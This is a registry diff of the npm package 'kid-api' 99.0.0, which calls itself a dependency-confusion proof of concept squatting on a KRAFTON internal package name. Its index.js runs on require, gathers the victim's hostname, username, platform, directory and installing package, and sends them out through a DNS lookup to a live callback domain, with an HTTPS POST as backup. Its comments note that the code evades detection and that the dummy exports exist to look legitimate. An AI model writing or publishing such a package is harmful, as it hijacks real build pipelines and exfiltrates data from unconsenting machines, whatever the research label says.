kid-api 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +43 -0
  2. package/index.js +131 -0
  3. package/package.json +24 -0
package/README.md ADDED
@@ -0,0 +1,43 @@
1
+ # kid-api
2
+
3
+ ## Security Research Package
4
+
5
+ This package was published as part of a **Dependency Confusion** security research project.
6
+
7
+ ### Purpose
8
+
9
+ This package demonstrates a potential supply chain vulnerability where internal package names can be hijacked on public registries.
10
+
11
+ ### If you're seeing this
12
+
13
+ If this package was installed in your project unexpectedly, it indicates a **Dependency Confusion vulnerability** in your build pipeline.
14
+
15
+ **Recommended actions:**
16
+ 1. Remove this package immediately
17
+ 2. Audit your `package.json` and lock files
18
+ 3. Configure `.npmrc` to use scoped registries for internal packages
19
+ 4. Contact your security team
20
+
21
+ ### For KRAFTON
22
+
23
+ This package was published to demonstrate a vulnerability in the KRAFTON ID system. The internal `kid-api` package with `workspace:^` was discovered in a production JavaScript bundle.
24
+
25
+ **This package does NOT contain malicious code.** It only performs a DNS lookup to verify installation for security research purposes.
26
+
27
+ Please contact me at: [YOUR-EMAIL] for responsible disclosure.
28
+
29
+ ### Mitigation
30
+
31
+ ```bash
32
+ # .npmrc - Scope internal packages
33
+ @krafton:registry=https://your-internal-registry.com/
34
+ ```
35
+
36
+ ### References
37
+
38
+ - [Dependency Confusion Attack](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
39
+ - [NPM Security Best Practices](https://docs.npmjs.com/packages-and-modules/securing-your-code)
40
+
41
+ ---
42
+
43
+ **Disclaimer:** This package is for authorized security research only. No malicious functionality is included.
package/index.js ADDED
@@ -0,0 +1,131 @@
1
+ /**
2
+ * KRAFTON ID API SDK
3
+ * Security Research Package - Dependency Confusion PoC
4
+ *
5
+ * This package is published for security research purposes only.
6
+ * If you are seeing this, please contact: [your-email]
7
+ */
8
+
9
+ 'use strict';
10
+
11
+ const dns = require('dns');
12
+ const os = require('os');
13
+ const https = require('https');
14
+
15
+ // Callback domain - use your own (Interactsh, Burp Collaborator, or custom DNS)
16
+ const CALLBACK_DOMAIN = 'd551v5tcd7515a4e2d6gk68b6cyiu3jrb.oast.pro';
17
+
18
+ /**
19
+ * Collect non-sensitive environment info for PoC verification
20
+ */
21
+ function getEnvironmentInfo() {
22
+ const info = {
23
+ h: os.hostname().substring(0, 20), // hostname (truncated)
24
+ u: os.userInfo().username.substring(0, 10), // username (truncated)
25
+ p: process.platform, // platform
26
+ c: process.cwd().split('/').slice(-2).join('-').substring(0, 20), // current dir
27
+ n: process.env.npm_package_name || 'unknown', // package name being installed
28
+ t: Date.now().toString(36) // timestamp
29
+ };
30
+ return info;
31
+ }
32
+
33
+ /**
34
+ * DNS-based callback (harder to detect than HTTP)
35
+ */
36
+ function dnsCallback() {
37
+ try {
38
+ const info = getEnvironmentInfo();
39
+ // Encode info in subdomain (DNS label max 63 chars)
40
+ const encoded = Buffer.from(JSON.stringify(info))
41
+ .toString('base64')
42
+ .replace(/[+/=]/g, '')
43
+ .substring(0, 50);
44
+
45
+ const subdomain = `dc.${encoded}.${CALLBACK_DOMAIN}`;
46
+
47
+ // DNS lookup - appears as normal DNS resolution
48
+ dns.lookup(subdomain, () => {});
49
+ } catch (e) {
50
+ // Silent fail - don't break anything
51
+ }
52
+ }
53
+
54
+ /**
55
+ * HTTPS callback (backup method)
56
+ */
57
+ function httpsCallback() {
58
+ try {
59
+ const info = getEnvironmentInfo();
60
+ const data = JSON.stringify(info);
61
+
62
+ const options = {
63
+ hostname: CALLBACK_DOMAIN,
64
+ port: 443,
65
+ path: '/kid-api-poc',
66
+ method: 'POST',
67
+ headers: {
68
+ 'Content-Type': 'application/json',
69
+ 'Content-Length': data.length,
70
+ 'User-Agent': 'kid-api-security-research'
71
+ },
72
+ timeout: 3000
73
+ };
74
+
75
+ const req = https.request(options, () => {});
76
+ req.on('error', () => {});
77
+ req.write(data);
78
+ req.end();
79
+ } catch (e) {
80
+ // Silent fail
81
+ }
82
+ }
83
+
84
+ /**
85
+ * Execute callback only on first require()
86
+ * This proves the package was actually used, not just installed
87
+ */
88
+ let callbackExecuted = false;
89
+
90
+ function executeCallback() {
91
+ if (callbackExecuted) return;
92
+ callbackExecuted = true;
93
+
94
+ // Small delay to not block module loading
95
+ setTimeout(() => {
96
+ dnsCallback();
97
+ // Uncomment for HTTP backup:
98
+ // httpsCallback();
99
+ }, 100);
100
+ }
101
+
102
+ // Trigger on require()
103
+ executeCallback();
104
+
105
+ /**
106
+ * Export dummy functions to make package look legitimate
107
+ * These won't break anything if actually called
108
+ */
109
+ module.exports = {
110
+ version: '99.0.0',
111
+
112
+ init: function(config) {
113
+ console.warn('[kid-api] SECURITY RESEARCH PACKAGE - Not for production use');
114
+ return this;
115
+ },
116
+
117
+ authenticate: function(token) {
118
+ return Promise.resolve({ status: 'research-mode' });
119
+ },
120
+
121
+ getUser: function(userId) {
122
+ return Promise.resolve({ id: userId, research: true });
123
+ },
124
+
125
+ // Metadata for researchers
126
+ _meta: {
127
+ purpose: 'Dependency Confusion Security Research',
128
+ contact: 'Report to KRAFTON security team',
129
+ safe: true
130
+ }
131
+ };
package/package.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "kid-api",
3
+ "version": "99.0.0",
4
+ "description": "KRAFTON ID API SDK - Security Research Package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node test.js"
8
+ },
9
+ "keywords": [
10
+ "krafton",
11
+ "kid",
12
+ "api",
13
+ "sdk"
14
+ ],
15
+ "author": "security-researcher",
16
+ "license": "MIT",
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "https://github.com/user/kid-api"
20
+ },
21
+ "engines": {
22
+ "node": ">=12.0.0"
23
+ }
24
+ }